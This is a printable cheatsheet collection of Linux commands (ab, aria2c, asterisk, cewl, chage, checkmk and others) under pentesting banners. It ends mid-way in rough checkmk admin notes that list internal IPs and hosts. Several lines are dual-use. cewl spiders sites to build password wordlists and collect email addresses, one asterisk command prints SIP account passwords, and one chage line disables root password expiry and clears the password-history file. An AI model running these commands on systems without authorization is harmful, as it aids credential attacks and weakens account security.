This is the multi-page printable view of this section. Click here to print.

Return to the regular view of this page.

No Category

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

Miscellaneous Linux commands encompass a wide range of tools and utilities that perform various system management and maintenance tasks. These commands are essential for day-to-day operations, troubleshooting, and optimizing system performance. They include tools for text processing, mathematical calculations, data formatting, and system configuration.

Text processing commands, such as those for searching, replacing, and manipulating text, are invaluable for handling large volumes of text data efficiently. They automate repetitive tasks and are widely used in scripting and data analysis. Commands for mathematical calculations provide quick and accurate results for complex computations, enhancing productivity.

Data formatting commands help in organizing and presenting data in a readable and structured manner. They are used for tasks such as sorting, filtering, and transforming data, making it easier to analyze and interpret. System configuration commands allow administrators to manage system settings, user accounts, and hardware components, ensuring that the system operates smoothly and securely.

Additionally, miscellaneous commands include tools for monitoring system performance, managing processes, and checking system logs. These commands provide insights into system health and help identify and resolve issues promptly. They are essential for maintaining system stability and reliability.

Overall, miscellaneous Linux commands are indispensable for effective system administration. They enhance productivity, simplify complex tasks, and provide the tools needed to manage and maintain a Linux system efficiently. Whether for personal use or in a professional setting, these commands play a vital role in ensuring a well-functioning and optimized computing environment.

1 - 🖥️ab

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ab command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                 █████╗ ██████╗ 
#                ██╔══██╗██╔══██╗
#                ███████║██████╔╝
#                ██╔══██║██╔══██╗
#                ██║  ██║██████╔╝
#                ╚═╝  ╚═╝╚═════╝ 
                                
                               

# send 100 requests with a concurency of 50 requests to an URL
ab -n 100 -c 50 http://www.example.com/

ab -n 100 -c 10 "http://www.poorwebsite\.com/" 
# Use the apache benchmarking client to make 100 requests, 10 at a time and get the results.

# send requests during 30 seconds with a concurency of 50 requests to an URL
ab -t 30 -c 50 URL http://www.example.com/

#==============================##==============================#
# CMD AB						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2 - 🖥️animate

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the animate command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                 █████╗ ███╗   ██╗██╗███╗   ███╗ █████╗ ████████╗███████╗
#                ██╔══██╗████╗  ██║██║████╗ ████║██╔══██╗╚══██╔══╝██╔════╝
#                ███████║██╔██╗ ██║██║██╔████╔██║███████║   ██║   █████╗  
#                ██╔══██║██║╚██╗██║██║██║╚██╔╝██║██╔══██║   ██║   ██╔══╝  
#                ██║  ██║██║ ╚████║██║██║ ╚═╝ ██║██║  ██║   ██║   ███████╗
#                ╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝╚═╝     ╚═╝╚═╝  ╚═╝   ╚═╝   ╚══════╝
                                                                         
                                                                         
                                                                         
                                                                        

animate http://climagic\.org/images/rice-spinner.gif 
# ImageMagick's command 'animate' allows you to view animated gifs direct from the URL.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

3 - 🖥️arch

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the arch command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                 █████╗ ██████╗  ██████╗██╗  ██╗
#                ██╔══██╗██╔══██╗██╔════╝██║  ██║
#                ███████║██████╔╝██║     ███████║
#                ██╔══██║██╔══██╗██║     ██╔══██║
#                ██║  ██║██║  ██║╚██████╗██║  ██║
#                ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝
                                                
																

#The arch command is used to print the machine's architecture. For example:
$ arch
i686
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

4 - 🖥️aria2c

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the aria2c command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                 █████╗ ██████╗ ██╗ █████╗ ██████╗  ██████╗
#                ██╔══██╗██╔══██╗██║██╔══██╗╚════██╗██╔════╝
#                ███████║██████╔╝██║███████║ █████╔╝██║     
#                ██╔══██║██╔══██╗██║██╔══██║██╔═══╝ ██║     
#                ██║  ██║██║  ██║██║██║  ██║███████╗╚██████╗
#                ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═╝╚══════╝ ╚═════╝
                                                           
                                                          

# Just download a file
# The url can be a http(s), ftp, .torrent file or even a magnet link
aria2c <url>

# To prevent downloading the .torrent file
aria2c --follow-torrent=mem <url>

# Download 1 file at a time (-j) 
# continuing (-c) any partially downloaded ones
# to the directory specified (-d)
# reading urls from the file (-i)
aria2c -j 1 -c -d ~/Downloads -i /path/to/file

#==============================#
# CMD ARIA2C
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

5 - 🖥️asterisk

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the asterisk command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                 █████╗ ███████╗████████╗███████╗██████╗ ██╗███████╗██╗  ██╗
#                ██╔══██╗██╔════╝╚══██╔══╝██╔════╝██╔══██╗██║██╔════╝██║ ██╔╝
#                ███████║███████╗   ██║   █████╗  ██████╔╝██║███████╗█████╔╝ 
#                ██╔══██║╚════██║   ██║   ██╔══╝  ██╔══██╗██║╚════██║██╔═██╗ 
#                ██║  ██║███████║   ██║   ███████╗██║  ██║██║███████║██║  ██╗
#                ╚═╝  ╚═╝╚══════╝   ╚═╝   ╚══════╝╚═╝  ╚═╝╚═╝╚══════╝╚═╝  ╚═╝
                                                                            
                                                                           

#==============================#
# CMD ASTERISK
#==============================##==============================#
# To connect to a running Asterisk session:
asterisk -rvvv

# To issue a command to Asterisk from the shell:
asterisk -rx "<command>"

# To originate an echo call from a SIP trunk on an Asterisk server, to a specified number:
asterisk -rx "channel originate SIP/<trunk>/<number> application echo"

# To print out the details of SIP accounts:
asterisk -rx "sip show peers"

# To print out the passwords of SIP accounts:
asterisk -rx "sip show users"

# To print out the current active channels:
asterisk -rx "core show channels"

#==============================##==============================#
# CMD ASTERISK
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

6 - 🖥️Bash-Snippets

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the Bash-Snippets command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗  █████╗ ███████╗██╗  ██╗      ███████╗███╗   ██╗██╗██████╗ ██████╗ ███████╗████████╗███████╗
#  ██╔══██╗██╔══██╗██╔════╝██║  ██║      ██╔════╝████╗  ██║██║██╔══██╗██╔══██╗██╔════╝╚══██╔══╝██╔════╝
#  ██████╔╝███████║███████╗███████║█████╗███████╗██╔██╗ ██║██║██████╔╝██████╔╝█████╗     ██║   ███████╗
#  ██╔══██╗██╔══██║╚════██║██╔══██║╚════╝╚════██║██║╚██╗██║██║██╔═══╝ ██╔═══╝ ██╔══╝     ██║   ╚════██║
#  ██████╔╝██║  ██║███████║██║  ██║      ███████║██║ ╚████║██║██║     ██║     ███████╗   ██║   ███████║
#  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝      ╚══════╝╚═╝  ╚═══╝╚═╝╚═╝     ╚═╝     ╚══════╝   ╚═╝   ╚══════╝

# Bash-Snippets
# A collection of bash tools for heavy terminal users
# https://github.com/alexanderepstein/Bash-Snippets

# To install
git clone https://github.com/alexanderepstein/Bash-Snippets
cd Bash-Snippets
./install.sh all
# or to install an individual script
# ./install.sh stocks

# To uninstall
git clone https://github.com/alexanderepstein/Bash-Snippets
cd Bash-Snippets
./uninstall.sh
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

7 - 🖥️blktrace

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the blktrace command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗ ██╗     ██╗  ██╗████████╗██████╗  █████╗  ██████╗███████╗
#  ██╔══██╗██║     ██║ ██╔╝╚══██╔══╝██╔══██╗██╔══██╗██╔════╝██╔════╝
#  ██████╔╝██║     █████╔╝    ██║   ██████╔╝███████║██║     █████╗  
#  ██╔══██╗██║     ██╔═██╗    ██║   ██╔══██╗██╔══██║██║     ██╔══╝  
#  ██████╔╝███████╗██║  ██╗   ██║   ██║  ██║██║  ██║╚██████╗███████╗
#  ╚═════╝ ╚══════╝╚═╝  ╚═╝   ╚═╝   ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚══════╝

# blktrace
# blktrace is a block layer IO tracing mechanism which provides detailed information about request queue operations up to user space

# trace PC (non-filesystem requests, PC) on the /dev/sdb disk.
# blkparse generates human-readable formatting
blktrace /dev/sdb -a PC -o - | blkparse -i -
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

8 - 🖥️bonnie

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the bonnie command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗  ██████╗ ███╗   ██╗███╗   ██╗██╗███████╗
#  ██╔══██╗██╔═══██╗████╗  ██║████╗  ██║██║██╔════╝
#  ██████╔╝██║   ██║██╔██╗ ██║██╔██╗ ██║██║█████╗  
#  ██╔══██╗██║   ██║██║╚██╗██║██║╚██╗██║██║██╔══╝  
#  ██████╔╝╚██████╔╝██║ ╚████║██║ ╚████║██║███████╗
#  ╚═════╝  ╚═════╝ ╚═╝  ╚═══╝╚═╝  ╚═══╝╚═╝╚══════╝

# Bonnie++ 
# disk and file system benchmarking tool for measuring I/O performance

# benchmark disk mounted at /tmp/; use `user` for that
# skip per char IO test (-f)
# no write buffering (-b)
bonnie++ -d /tmp -s 16000M -n 0 -m TEST -f -b -u user
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

9 - 🖥️caffeinate

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the caffeinate command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██████╗ █████╗ ███████╗███████╗███████╗██╗███╗   ██╗ █████╗ ████████╗███████╗
#  ██╔════╝██╔══██╗██╔════╝██╔════╝██╔════╝██║████╗  ██║██╔══██╗╚══██╔══╝██╔════╝
#  ██║     ███████║█████╗  █████╗  █████╗  ██║██╔██╗ ██║███████║   ██║   █████╗  
#  ██║     ██╔══██║██╔══╝  ██╔══╝  ██╔══╝  ██║██║╚██╗██║██╔══██║   ██║   ██╔══╝  
#  ╚██████╗██║  ██║██║     ██║     ███████╗██║██║ ╚████║██║  ██║   ██║   ███████╗
#   ╚═════╝╚═╝  ╚═╝╚═╝     ╚═╝     ╚══════╝╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝   ╚═╝   ╚══════╝

# caffeinate
# Prevent a system from sleeping (Mac OS X)

# Prevent mac from sleeping for 1 hour (3600 seconds):
caffeinate -u -t 3600

# Prevent mac from sleeping until a command completes:
caffeinate -s command
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

10 - 🖥️cewl

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the cewl command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██████╗███████╗██╗    ██╗██╗     
#  ██╔════╝██╔════╝██║    ██║██║     
#  ██║     █████╗  ██║ █╗ ██║██║     
#  ██║     ██╔══╝  ██║███╗██║██║     
#  ╚██████╗███████╗╚███╔███╔╝███████╗
#   ╚═════╝╚══════╝ ╚══╝╚══╝ ╚══════╝

# To spider a site and write all found words to a file
cewl -w <file> <url>

# To spider a site and follow links to other sites
cewl -o <url>

# To spider a site using a given user-agent 
cewl -u <user-agent> <url>

# To spider a site for a given depth and minimum word length
cewl -d <depth> -m <min word length> <url>

# To spider a site and include a count for each word
cewl -c <url>

# To spider a site inluding meta data and separate the meta_data words
cewl -a -meta_file <file> <url>

# To spider a site and store email adresses in a separate file
cewl -e -email_file <file> <url>
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

11 - 🖥️chage

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the chage command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                 ██████╗██╗  ██╗ █████╗  ██████╗ ███████╗
#                ██╔════╝██║  ██║██╔══██╗██╔════╝ ██╔════╝
#                ██║     ███████║███████║██║  ███╗█████╗  
#                ██║     ██╔══██║██╔══██║██║   ██║██╔══╝  
#                ╚██████╗██║  ██║██║  ██║╚██████╔╝███████╗
#                 ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚══════╝
                                                         

chage -M -1 root; echo "" > /etc/security/opasswd
# Disable password expiration and clear password history for VMware vcenter appliance

# Expire a user's password immediately
chage -d 0 USERNAME
# Explanation: This will effectively force the user to change his/her password at next login.
# Limitations: Not in BSD. Yes in Linux. do not know in UNIX.

#==============================##==============================#
# CMD chage						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

12 - 🖥️cheat

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the cheat command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                 ██████╗██╗  ██╗███████╗ █████╗ ████████╗
#                ██╔════╝██║  ██║██╔════╝██╔══██╗╚══██╔══╝
#                ██║     ███████║█████╗  ███████║   ██║   
#                ██║     ██╔══██║██╔══╝  ██╔══██║   ██║   
#                ╚██████╗██║  ██║███████╗██║  ██║   ██║   
#                 ╚═════╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝   ╚═╝   
                                                         
                                                       
# To see example usage of a program:
cheat <command>

# To edit a cheatsheet
cheat -e <command>

# To list available cheatsheets
cheat -l

# To search available cheatsheets
cheat -s <command>

# To get the current `cheat' version
cheat -v

#==============================##==============================#
# CMD cheat						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

13 - 🖥️checkmk

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the checkmk command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                 ██████╗██╗  ██╗███████╗ ██████╗██╗  ██╗███╗   ███╗██╗  ██╗
#                ██╔════╝██║  ██║██╔════╝██╔════╝██║ ██╔╝████╗ ████║██║ ██╔╝
#                ██║     ███████║█████╗  ██║     █████╔╝ ██╔████╔██║█████╔╝ 
#                ██║     ██╔══██║██╔══╝  ██║     ██╔═██╗ ██║╚██╔╝██║██╔═██╗ 
#                ╚██████╗██║  ██║███████╗╚██████╗██║  ██╗██║ ╚═╝ ██║██║  ██╗
#                 ╚═════╝╚═╝  ╚═╝╚══════╝ ╚═════╝╚═╝  ╚═╝╚═╝     ╚═╝╚═╝  ╚═╝
                                                                           
                                                                          
apt-get upgrade
    -> bei Grub 2 Option /dev/sda

dpkg -i check-mk-agent_1.4.0i1_all.deb

apt-get install python-requests

apt-get purge `dpkg -l | awk '/^rc/ { print $2 }'`
    -> löscht lib32gcc1* libc6-i386*

apt-get purge -y check-mk-agent-logwatch
apt-get purge -y check-mk-agent

cmk-update-agent -vvv -r

cmk-update-agent register -v --secret SECRET
  nwl...
  admin_registration

chkconfig isc-dhcp-server off

# Portfreigaben
#----------------#
source ip:
monitoring: 	10.250.250.10
nagios: 	10.250.250.1

check_mk: 	TCP 6556
snmp:		UDP 161
snmp Trap: 	UDP162


apt-get purge libldb1 libsmbclient python-ldb python-samba samba-common samba-common-bin samba-libs smbclient

apt-get autoremove
    -> löscht 
    libasn1-8-heimdal libavahi-client3 libavahi-common-data libavahi-common3 libcups2 libgssapi3-heimdal
    libhcrypto4-heimdal libheimbase1-heimdal libheimntlm0-heimdal libhx509-5-heimdal libkrb5-26-heimdal libntdb1
    libpython2.7 libroken18-heimdal libtalloc2 libtdb1 libtevent0 libwbclient0 libwind0-heimdal python-crypto python-ntdb
    python-talloc python-tdb

shutdown -r now

#######################
scp check-mk-agent_1.2.8p18_all.deb unix-srv003.lxu.io:/root/
ssh unix-srv003.lxu.io
apt purge check-mk-agent
